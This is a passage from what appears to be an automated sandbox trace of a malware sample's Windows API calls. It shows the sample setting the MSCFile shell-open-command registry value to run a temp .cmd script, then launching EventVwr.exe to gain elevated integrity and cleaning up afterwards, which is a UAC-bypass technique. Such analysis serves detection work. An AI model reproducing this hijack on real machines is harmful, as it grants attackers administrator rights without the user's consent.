lpUsedDefaultChar=0x0) returned 4 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.759] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.759] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.759] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.759] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa, lpName=0x21632f0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x2169570, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.759] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.759] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.760] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.760] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb, lpName=0x21632f0, cchName=0x104 | out: lpName="Wow6432Node") returned 0x0 [0140.760] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wow6432node", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.760] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wow6432node", cchWideChar=11, lpMultiByteStr=0x21694e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wow6432node", lpUsedDefaultChar=0x0) returned 11 [0140.760] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.760] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.760] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.760] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.760] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc, lpName=0x21632f0, cchName=0x104 | out: lpName="Classes") returned 0x0 [0140.760] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.760] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x2169570, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0140.760] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.760] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.760] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.760] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.760] RegOpenKeyExW (in: hKey=0x140, lpSubKey="Classes", ulOptions=0x0, samDesired=0x2010b, phkResult=0x20f558 | out: phkResult=0x20f558*=0x13c) returned 0x0 [0140.760] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21632f0) returned 1 [0140.760] RegCloseKey (hKey=0x140) returned 0x0 [0140.760] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.760] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x2800) returned 0x21632f0 [0140.760] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.760] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.760] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x2800) returned 0x2169fa0 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.761] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.761] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169fa0) returned 1 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21694e0, cbMultiByte=26, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ebf8 [0140.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21694e0, cbMultiByte=26, lpWideCharStr=0x226ebf8, cchWideChar=26 | out: lpWideCharStr="MSCFile/shell/open/command") returned 26 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ec80 [0140.761] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ebf8) returned 1 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ebf8 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d630 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d498 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ed08 [0140.761] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ebf8) returned 1 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ebf8 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d488 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ed90 [0140.761] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ebf8) returned 1 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ebf8 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d478 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ee18 [0140.761] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ebf8) returned 1 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d468 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ebf8 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d648 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d458 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eea0 [0140.761] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d448 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ef28 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d438 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226efb0 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d428 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226f038 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ed08) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d498) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ed90) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d488) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ee18) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d478) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ebf8) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d468) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d630) returned 1 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ebf8 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ebf8) returned 1 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ebf8 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ebf8) returned 1 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ebf8 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ebf8) returned 1 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ebf8 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ebf8) returned 1 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d630 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d468 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ebf8 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d478 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ee18 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d488 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ed90 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d498 [0140.762] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ed08 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eea0) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d458) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ef28) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d448) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226efb0) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d438) returned 1 [0140.762] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226f038) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d428) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d648) returned 1 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d648 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d428 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226f038 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d438 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226efb0 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d448 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ef28 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d458 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eea0 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ebf8) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d468) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ee18) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d478) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ed90) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d488) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ed08) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d498) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d630) returned 1 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ed08 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ed90 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ed08) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226f038) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d428) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226efb0) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d438) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ef28) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d448) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eea0) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d458) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d648) returned 1 [0140.763] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ed90) returned 1 [0140.763] RegOpenKeyExW (in: hKey=0x13c, lpSubKey="MSCFile\\shell\\open\\command", ulOptions=0x0, samDesired=0x2010b, phkResult=0x20f564 | out: phkResult=0x20f564*=0x0) returned 0x2 [0140.763] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x5000) returned 0x2169fa0 [0140.764] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.764] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.764] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0140.765] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169fa0) returned 1 [0140.765] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3986b8, lpbSaclPresent=0x20f524, pSacl=0x20f55c, lpbSaclDefaulted=0x20f524 | out: lpbSaclPresent=0x20f524, pSacl=0x20f55c, lpbSaclDefaulted=0x20f524) returned 1 [0140.765] RegCreateKeyExW (in: hKey=0x13c, lpSubKey="MSCFile\\shell\\open\\command", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2010b, lpSecurityAttributes=0x20f550, phkResult=0x20f564, lpdwDisposition=0x0 | out: phkResult=0x20f564*=0x144, lpdwDisposition=0x0) returned 0x0 [0140.765] LocalFree (hMem=0x3986b8) returned 0x0 [0140.765] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ec80) returned 1 [0140.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\5fiae9.cmd", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0140.765] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\5fiae9.cmd", cchWideChar=57, lpMultiByteStr=0x2169570, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\5fiae9.cmd", lpUsedDefaultChar=0x0) returned 57 [0140.765] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169498 [0140.765] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.765] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.766] RegSetValueExA (in: hKey=0x144, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\5fiae9.cmd", cbData=0x3a | out: lpData="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\5fiae9.cmd") returned 0x0 [0140.766] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.766] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169498) returned 1 [0140.766] RegCloseKey (hKey=0x144) returned 0x0 [0140.766] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x5000) returned 0x2169fa0 [0140.766] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169498 [0140.766] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169498) returned 1 [0140.766] ShellExecuteExW (in: pExecInfo=0x20f564*(cbSize=0x3c, fMask=0x440, hwnd=0x0, lpVerb=0x0, lpFile="EventVwr.exe", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x20f564*(cbSize=0x3c, fMask=0x440, hwnd=0x0, lpVerb=0x0, lpFile="EventVwr.exe", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x280)) returned 1 [0160.354] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169fa0) returned 1 [0160.355] NtDelayExecution (Alertable=0, Interval=0x20f594*=-30000000) returned 0x0 [0164.375] SHDeleteKeyA (hkey=0x13c, pszSubKey="MSCFile") returned 0x0 [0164.377] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21632f0) returned 1 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eb70) returned 1 [0164.378] RegCloseKey (hKey=0x13c) returned 0x0 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21695b8) returned 1 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ea60) returned 1 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21631e8) returned 1 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e9d8) returned 1 [0164.378] WaitForSingleObject (hHandle=0xf8, dwMilliseconds=0x1388) returned 0x0 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169e98) returned 1 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2162850) returned 1 [0164.378] ReleaseMutex (hMutex=0x0) returned 0 [0164.378] GetLastError () returned 0x6 [0164.378] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21691c8) returned 1 [0164.379] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169138) returned 1 [0164.379] NtClose (Handle=0x110) returned 0x0 [0164.379] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21690f0) returned 1 [0164.379] NtClose (Handle=0xf8) returned 0x0 [0164.379] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c948) returned 1 [0164.379] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c900) returned 1 [0164.379] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0164.379] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c240) returned 1 [0164.379] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0164.380] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0164.380] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2168500) returned 1 [0164.380] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e9d8 [0164.380] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0164.380] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e9d8) returned 1 [0164.380] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0164.380] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0164.380] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e9d8 [0164.380] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0164.380] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs")) returned 1 [0164.380] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e9d8) returned 1 [0164.380] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2167cf8) returned 1 [0164.380] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0164.382] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e268) returned 1 [0164.382] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d288) returned 1 [0164.382] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d5e8) returned 1 [0164.382] ExitProcess (uExitCode=0x0) Thread: id = 490 os_tid = 0x6c4 Thread: id = 491 os_tid = 0x6d4 Thread: id = 492 os_tid = 0x6e0 Thread: id = 493 os_tid = 0x6e4 Process: id = "38" image_name = "eventvwr.exe" filename = "c:\\windows\\system32\\eventvwr.exe" page_root = "0x73859000" os_pid = "0x6e8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0x688" cmd_line = "\"C:\\Windows\\System32\\eventvwr.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 494 os_tid = 0x6ec Process: id = "39" image_name = "eventvwr.exe" filename = "c:\\windows\\system32\\eventvwr.exe" page_root = "0x65a3d000" os_pid = "0x558" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0x688" cmd_line = "\"C:\\Windows\\System32\\eventvwr.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 507 os_tid = 0x5dc Thread: id = 508 os_tid = 0x6d8 Thread: id = 509 os_tid = 0x5d8 Thread: id = 510 os_tid = 0x608 Process: id = "40" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x65610000" os_pid = "0x5b8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x558" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\" /c C:\\Windows\\TEMP\\5fiae9.cmd" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 511 os_tid = 0x5d0 [0162.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfc50 | out: lpSystemTimeAsFileTime=0x1cfc50*(dwLowDateTime=0x780a6b30, dwHighDateTime=0x1d59598)) [0162.473] GetCurrentProcessId () returned 0x5b8 [0162.473] GetCurrentThreadId () returned 0x5d0 [0162.473] GetTickCount () returned 0x11338cd [0162.473] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfc58 | out: lpPerformanceCount=0x1cfc58*=8379154897) returned 1 [0162.473] 